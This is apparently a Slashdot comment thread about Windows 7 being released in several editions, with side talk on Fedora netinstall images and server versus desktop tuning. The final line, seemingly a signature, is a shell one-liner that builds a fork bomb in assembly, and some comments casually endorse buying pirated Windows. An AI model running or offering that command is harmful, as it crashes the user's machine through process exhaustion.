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Windows 7 To Come In Multiple Versions
Crazy Taco writes "Tom's Hardware reports on newly discovered screenshots that reveal Microsoft is planning to release their newest version of Windows in multiple confusing versions ... again. The information comes from the latest version of the Windows 7 beta, build 7025 (the public beta is build 7000), and shows a screen during installation that asks the user which version of the OS he or she would like to install. Who's up for guessing what the difference is between Windows 7 'Starter' and Windows 7 'Home Basic?'"
I mean, my copy of the beta from TechNet says right on the login screen 'Windows 7 Ultimate'.
That would imply a product selection similar to Vista...
Except your car comes with all the features, it's just that they disable the ones you didn't pay for, and call the cops on you if you get them working by yourself.
(The Vista/7 DVD has the same content for all versions, your product key controls which version is installed. Thus if you choose to skip key entry at install time, it has to ask you which version you want to install.)
Actually you can kind of do that with Fedora. Instead of downloading the full ISO, just download the 5-meg ISO image which contains just the anaconda installer. Then select a fedora mirror as your install server, and choose the package groups that you need as they are presented to you.
Only thing is they don't make it obvious where to grab the small ISO image. You have to browse through the the repository a bit. For example: "/pub/fedora/linux/releases/10/Fedora/i386/os/images/boot.iso"
Where?
XP and Vista Starter edition were cut-price, limited versions for developing markets, to combat piracy. I've seen no evidence that Microsoft plans on making Starter a netbook version- that would be a bizzare branding change.
Wrong. The 945 chipset in my work Macbook can handle Aero just fine, and most Atom-based netbooks have a 945 as well.
The limitation would be the processor, and that's not going to affect Aero so much as it will the entire system.
Hail Eris, full of mischief...
E pluribus sanguinem
Why would anyone put up with a hopelessly-crippled-to-the-point-of-being-nearly-useless version of Windows when they could buy a bootleg of a Pro/Ultimate edition on a street corner for almost nothing or even torrent it for free?
Because most people installing Windows are OEMs, not end users.
I have some experience with this from developing countries. Sometimes it's nice to have licensed software, such as when you're an international organisation, a government body, a joint venture, or when your country sometimes does care about licensing issues. So people buy the cheap version to prove that they have licensed software. Then they buy a copy of the full version for $2 on the street corner.
As a state gets corrupt, its laws multiply; the most corrupt states have the most numerous laws. (Tacitus, Annales 3:27)
Yeah - but there IS a difference....
The "home" versions of Linux most times are focused on speed rather than stability. Not to say the "home" versions are not stable, but the first priority is things like multimedia etc. Also the focus lays on the latest and newest applications.
The "Server" versions are optimized to be rock stable and fast in things you could expect from a server. Multimedia has no high priority here. Also software is not the latest bleeding edge but proved and stable.
So - there is a reason you have two very different types. At the other hand the Microsoft versions are all the same. The only difference is the amount of services (software) added, and the amount of cash you have to deliver...
Actually the server versions of Windows are tuned differently too
http://blogs.msdn.com/larryosterman/archive/2009/01/08/why-do-people-think-that-a-server-sku-works-well-as-a-general-purpose-operating-system.aspx
One of the senior developers at Microsoft recently complained that the audio quality on his machine (running Windows Server 2008) was poor.
To me, it's not surprising. Server SKUs are tuned for high performance in server scenarios, they're not configured for desktop scenarios. That's the entire POINT of having a server SKU - one of the major differences between server SKUs and client SKUs is that the client SKUs are tuned to balance the OS in favor of foreground responsiveness and the server SKUs are tuned in favor of background responsiveness (after all, its a server, there's usually nobody sitting at the console, so there's no point in optimizing for the console).
In this particular case, the documentation for the MMCSS service describes a large part of the root cause for the problem: The MMCSS service (which is the service that provides glitch resilient services for Windows multimedia applications) is essentially disabled on server SKUs. It's just one of probably hundreds of other settings that are tweaked in favor of server responsiveness on server SKUs.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;